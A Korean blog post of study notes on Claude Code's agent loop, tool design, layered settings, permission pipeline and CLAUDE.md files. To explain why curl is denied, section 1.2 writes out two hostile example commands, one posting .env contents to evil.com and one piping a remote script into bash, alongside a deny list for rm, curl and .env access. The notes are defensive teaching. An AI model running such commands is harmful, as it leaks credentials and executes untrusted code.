클로드 학습

Posted on | In


1.1 Claude Code 도구 시스템

핵심 개념

Claude Code는 Agent Loop + 도구(Tool)로 동작한다. Claude 모델 자체는 텍스트만 생성하지만, 하네스가 도구를 제공하여 실제 파일 조작/명령 실행을 가능하게 한다.

1
2
3
4
5
6
7
8
9
10
11
┌──────────────────────────────────────────────┐
│              Agentic Harness                  │
│                                               │
│  ┌─────────┐  ┌─────────┐  ┌─────────┐      │
│  │  Read   │  │  Edit   │  │  Bash   │ ...  │  ← 도구들 (15개+)
│  └─────────┘  └─────────┘  └─────────┘      │
│                                               │
│              ┌─────────────┐                  │
│              │ Claude 모델  │                  │  ← 텍스트만 생성
│              └─────────────┘                  │
└──────────────────────────────────────────────┘

Agent Loop

모든 작업은 이 루프로 돌아간다:

1
2
3
4
5
6
7
8
사용자 프롬프트
    ↓
Claude 응답 생성
    ↓
도구 호출 포함? ──(No)──→ 종료 (텍스트 응답만 출력)
    │(Yes)
    ↓
도구 실행 → 결과 피드백 → 다시 응답 생성 → (반복)
  • 도구 호출이 포함된 응답 → 루프 계속
  • 도구 호출 없이 텍스트만 → 루프 종료
  • Claude가 자율적으로 “다음에 뭘 해야 하지?” 판단 → 에이전트

전용 도구 vs Bash

왜 Bash 하나로 안 하나?

Bash로도 cat, grep, sed 등 다 할 수 있다. 그런데 별도 도구를 만든 이유:

  Bash (범용) 전용 도구 (Read, Edit…)
안전성 rm -rf /도 실행 가능 범위가 제한됨 (파일 읽기만, 수정만)
정확성 sed 문법 오류 가능 타입 검증된 입력 (old_string → new_string)
권한 제어 “Bash 전체” 단위로만 제어 도구별 세밀한 제어 가능

하네스 패턴 #11: Single-Purpose Tool Design 전용 도구 = 안전 + 정확 + 제어. Bash는 “만능 탈출구”로만 남겨둔다. Claude Code 시스템 프롬프트에도 “Bash 대신 전용 도구 사용” 명시됨.

도구 분류 (4그룹)

1
2
3
4
5
6
7
8
9
10
11
12
┌─────────────────────────────────────────────────┐
│  📖 읽기 (정보 획득)    ✏️ 쓰기 (변경)           │
│  ─────────────────     ─────────────────        │
│  Read     파일 읽기     Write   파일 생성/전체교체 │
│  WebFetch URL 가져오기  Edit    정밀 문자열 치환   │
│                                                  │
│  🔍 검색 (탐색)          🚀 실행 (액션)           │
│  ─────────────────     ─────────────────        │
│  Glob     파일명 패턴   Bash    셸 명령 실행      │
│  Grep     파일내용 검색  Agent   서브에이전트 생성  │
│  WebSearch 웹 검색                                │
└─────────────────────────────────────────────────┘

Write vs Edit

둘 다 “쓰기” 도구지만 용도가 완전히 다르다:

상황 도구 이유
새 파일 생성 Write 아직 파일이 없으니 전체 작성
500줄 중 3줄만 변경 Edit diff만 전송, 효율적
파일 구조 전체 교체 Write 처음부터 다시 쓰는 게 깔끔 
1
2
Write = 파일 전체를 덮어쓰기    (전체 교체)
Edit  = "이거를 → 저거로" 치환  (정밀 수술)

Edit의 핵심 제약: old_string이 파일 내에서 유일해야 한다

1
2
✗ Edit("return false" → "return true")          # 여러 곳에 있으면 → 실패
✓ Edit("if (!user.isActive) {\n    return false" → ...)  # 주변 코드로 유일하게

Glob vs Grep

둘 다 “검색” 도구지만 찾는 대상이 다르다:

1
2
Glob = 파일 이름(경로)으로 찾기  → "이런 파일이 어디 있지?"
Grep = 파일 내용(텍스트)으로 찾기 → "이 키워드가 어디서 쓰이지?"
상황 도구 예시
.tsx 파일 위치 찾기 Glob Glob("**/*.tsx")
useAuth 호출 위치 찾기 Grep Grep("useAuth")
skip된 테스트 파일 찾기 둘 다 조합 Glob("**/*.test.ts") + Grep("test.skip")

핵심 정리

  1. Agent Loop = 도구 호출이 있으면 계속, 없으면 종료. 이것이 “에이전트”의 본질
  2. 전용 도구 > Bash = 안전 + 정확 + 세밀한 권한 제어 (하네스 패턴 #11)
  3. Write vs Edit = 전체 교체 vs 정밀 수정. Edit은 old_string 유일성 필수
  4. Glob vs Grep = 파일 이름으로 vs 파일 내용으로. 조합하면 강력


1.2 설치와 설정 시스템

핵심 개념

Claude Code의 설정은 스코프(범위)별로 분리되어 있다. 팀 공유 설정, 개인 설정, 회사 정책이 각각 다른 파일에 존재하며, 우선순위에 따라 병합된다.

하네스(Harness)란?

원래 뜻: 말에게 씌우는 마구 — 힘을 제어하고 방향을 잡아주는 장비

1
2
3
말 (강하지만 통제 안 되면 위험)   = Claude 모델 (텍스트만 생성)
마구 (힘을 제어하고 방향 지시)    = 하네스 (도구 + 권한 + 설정 + 훅 + MCP)
기수 (목적지를 정해주는 사람)     = 사용자 (프롬프트)

1
Claude 모델 (텍스트만 생성) + 하네스 = 코딩 에이전트

하네스가 없으면 같은 팀이라도 코드가 중구난방이 된다. 하네스 설계가 Expert의 핵심 역량.

설정 계층 구조

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──────────────────────────────────────────────────┐
│  1. Managed  (회사 IT 관리)       ← 최우선, 못 바꿈 │
│     macOS: MDM 프로파일                            │
│     Windows: 레지스트리                             │
├──────────────────────────────────────────────────┤
│  2. CLI 인자  (--flag)            ← 실행 시 임시    │
├──────────────────────────────────────────────────┤
│  3. Local  (.claude/settings.local.json) ← 나만   │
│     gitignore 대상, 개인 설정                      │
├──────────────────────────────────────────────────┤
│  4. Project (.claude/settings.json)  ← 팀 공유    │
│     Git 커밋, 팀 전체 적용                         │
├──────────────────────────────────────────────────┤
│  5. User  (~/.claude/settings.json)  ← 내 전역    │
│     모든 프로젝트에 적용                            │
└──────────────────────────────────────────────────┘

우선순위: Managed > CLI > Local > Project > User 이유: 보안은 위에서 아래로 강제. 회사 정책을 개발자가 풀 수 있으면 안 됨.

allow vs deny

1
2
allow = 반복적 안전 작업 자동 허용  → 매번 팝업 안 뜸
deny  = 위험 작업 절대 차단        → 실수로라도 실행 불가

핵심 규칙: deny는 항상 allow를 이긴다 (어느 레벨이든)

실제 설정 예시 (이 프로젝트)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{
  "permissions": {
    "allow": [
      "Bash(python3 .learning/scripts/:*)",  // 학습 스크립트 OK
      "Read(.learning/**)",                   // .learning 읽기 OK
      "Write(**/*.md)",                       // 마크다운 쓰기 OK
      "Bash(open:*)"                          // Finder 열기 OK
    ],
    "deny": [
      "Bash(rm:*)",      // 삭제 차단
      "Bash(curl:*)",    // 외부 네트워크 차단
      "Read(.env*)",     // 환경변수 읽기 차단
      "Write(.env*)"     // 환경변수 쓰기 차단
    ]
  }
}

curl이 차단되는 이유

curl은 두 방향 다 위험:

1
2
3
4
밖으로 유출 ←──── curl ────→ 안으로 유입

curl -d "$(cat .env)" evil.com     curl malicious.com/script.sh | bash
→ API키, SSH키 탈취                 → 악성 스크립트 실행

대안: curl(범용, 위험) 대신 WebFetch(domain:특정도메인) 사용 → 도메인 제한 가능

이것도 Phase 1.1의 “전용 도구 > Bash” 원칙과 동일

핵심 정리

  1. 하네스 = 모델을 에이전트로 만드는 모든 것 (마구 비유). 없으면 코드 중구난방
  2. 설정 5단계 계층 = Managed > CLI > Local > Project > User
  3. deny > allow = 항상. 보안은 위에서 아래로 강제
  4. allow = 반복 안전 작업 자동화, deny = 위험 작업 절대 차단
  5. curl 차단 + WebFetch 허용 = 전용 도구 원칙의 보안 적용


1.3 권한 시스템 (Permission System)

핵심 개념

Claude Code의 모든 도구 호출은 실행 전에 4단계 권한 파이프라인을 통과한다. deny/allow로 커버 안 되는 “애매한 경우”를 별도 AI(Classifier)가 판단한다.

4단계 권한 파이프라인

1
2
3
4
5
6
7
8
9
10
11
Claude: "Bash(git push origin main) 실행하겠다"
    ↓
[1] Deny 규칙  → 매칭 시 즉시 차단 🚫        (결정론적, 즉시)
    ↓ (매칭 안 됨)
[2] Allow 규칙 → 매칭 시 즉시 허용 ✅         (결정론적, 즉시)
    ↓ (매칭 안 됨)
[3] Classifier → 별도 AI가 위험도 판단 🤖     (2초 타임아웃)
    │             낮음 → 자동 허용
    │             높음 ↓
    ↓
[4] 사용자 확인 → "이거 실행해도 될까요?" 💬   (최후의 방어선)

왜 Classifier는 별도 모델인가?

1
2
3
4
5
6
7
같은 모델이 판단하면:
  악성 프롬프트 → Claude 설득 → "이건 안전해" 스스로 판단 → 위험 실행

별도 모델이 판단하면:
  악성 프롬프트 → Claude 설득 성공해도
  → Classifier는 Claude의 추론을 못 봄
  → 명령어 자체만 보고 독립 판단 → "위험해" → 차단

하네스 패턴 #10: Command Risk Classification “모델이 무엇을 할지 결정하고, 다른 시스템이 허용 여부를 결정한다”

Permission Modes

Shift+Tab 또는 Alt+M으로 전환:

모드 동작 사용 시나리오
default 4단계 파이프라인 그대로 일반 개발
acceptEdits 파일 편집 자동 허용, 나머지는 4단계 코딩 집중
plan 읽기만 가능, 변경 불가 계획 검토/첨삭
auto Classifier가 거의 다 판단 신뢰된 환경

Explore-Plan-Act Loop (하네스 패턴 #6)

무턱대고 수정하지 않고 단계를 밟는 워크플로우:

1
2
3
4
5
6
7
8
[1] Plan 모드 (읽기 전용)
    "이 코드 리팩토링해줘"
    → Claude: 계획 제시
    → 나: 첨삭/수정 요청         ← 합의

[2] acceptEdits 모드로 전환
    → 합의된 계획대로 실행
    → 파일 수정 자동 허용 (빠르게)

1
2
Explore (탐색) → Plan (계획/첨삭) → Act (실행)
  읽기 전용        합의 도출          자동 허용

핵심 정리

  1. 4단계 파이프라인 = Deny → Allow → Classifier → 사용자. deny가 항상 최우선
  2. Classifier = 별도 모델 = 에이전트의 추론을 못 봄 → 프롬프트 인젝션 방지
  3. Permission Mode = 상황에 맞게 Shift+Tab으로 전환 (plan → acceptEdits가 핵심 패턴)
  4. Explore-Plan-Act = 보고 → 합의 → 실행. 실수 방지의 핵심 워크플로우


1.4 CLAUDE.md 시스템

핵심 개념

CLAUDE.md는 프로젝트별 자연어 지시문(advisory instructions)이다. Claude가 읽고 따르려 노력하지만, settings.json과 달리 기계적 강제는 아니다.

settings.json vs CLAUDE.md

1
2
3
4
5
6
7
8
9
10
settings.json                      CLAUDE.md
─────────────                      ─────────────
"무엇이 허용/차단되는가"            "어떻게 행동해야 하는가"

기계적 설정 (ON/OFF)                자연어 지시 (프로세스, 규칙, 맥락)

예:                                 예:
"rm 차단"                           "세션 시작 시 리뷰부터 체크해"
"Read(.env) 금지"                   "커밋 메시지는 한국어로 써"
"npm test 자동 허용"                "테스트 실패하면 멈추고 보고해"

비유:

1
2
settings.json = 출입 카드 시스템  → "이 문은 열 수 있고, 저 문은 못 열어"
CLAUDE.md     = 직원 핸드북       → "출근하면 이메일 확인, 회의 전 준비..."

스코프 계층

1
2
3
4
~/.claude/CLAUDE.md        ← User: 내 모든 프로젝트
./CLAUDE.md                ← Project: 팀 공유 (Git 커밋)
./CLAUDE.local.md          ← Local: 나만 (gitignore)
./src/CLAUDE.md            ← 하위 디렉토리: 해당 폴더 접근 시에만 로딩

하위 디렉토리 = 지연 로딩 (Lazy Loading)

1
2
3
4
모노레포 (폴더 50개, 각각 CLAUDE.md)

전부 미리 로딩 → 5,000줄 컨텍스트 낭비, 실제로 쓰는 건 2-3개
지연 로딩       → src/auth/ 접근 시 src/auth/CLAUDE.md만 로딩

하네스 패턴 #9 Progressive Tool Expansion과 같은 원리 “처음에 다 주지 말고, 필요할 때 확장”

CLAUDE.md에 들어가야 할 것

실제 이 프로젝트(FASTER) 예시:

1
2
3
4
5
1. 프로젝트 개요     → "FASTER 프레임워크 쓰는 학습 시스템"
2. 디렉토리 구조     → "파일이 어디에 뭐가 있는지"
3. 프로세스/프로토콜  → "세션 시작 시 리뷰부터 체크"
4. 스크립트 사용법   → "python3 .learning/scripts/..."
5. 실행 규칙         → "ALWAYS: 리뷰 체크 / NEVER: 리뷰 스킵"

잘 쓰는 법

핵심 원칙: “이걸 제거하면 Claude가 실수할까?” 아니면 삭제

1
2
3
4
5
6
7
8
❌ 나쁜 (비대)
  "프로젝트는 2024년 시작"       ← 알아야 실수 안 하나? NO
  "팀원은 5명"                   ← 필요 없음

✅ 좋은 (간결)
  "커밋 메시지는 한국어로"        ← 없으면 영어로 씀
  "테스트: npm run test"         ← 없으면 모름
  "import 순서: 외부 → 내부 → 타입" ← 없으면 중구난방
  • 비대한 CLAUDE.md → 진짜 중요한 지시를 Claude가 놓침
  • 강조 키워드 활용: “IMPORTANT”, “YOU MUST”, “NEVER” → 준수율 향상
  • @path/to/import: 다른 파일 임포트 가능 (분리 관리)

핵심 정리

  1. settings = 출입카드, CLAUDE.md = 직원 핸드북 — 성격이 완전히 다름
  2. 스코프 4단계 = User → Project(Git) → Local(gitignore) → 하위(지연로딩)
  3. 지연 로딩 = 접근 시에만 로딩, 토큰 절약 (Progressive 패턴)
  4. 간결할수록 좋다 = “제거하면 실수하나?” 아니면 삭제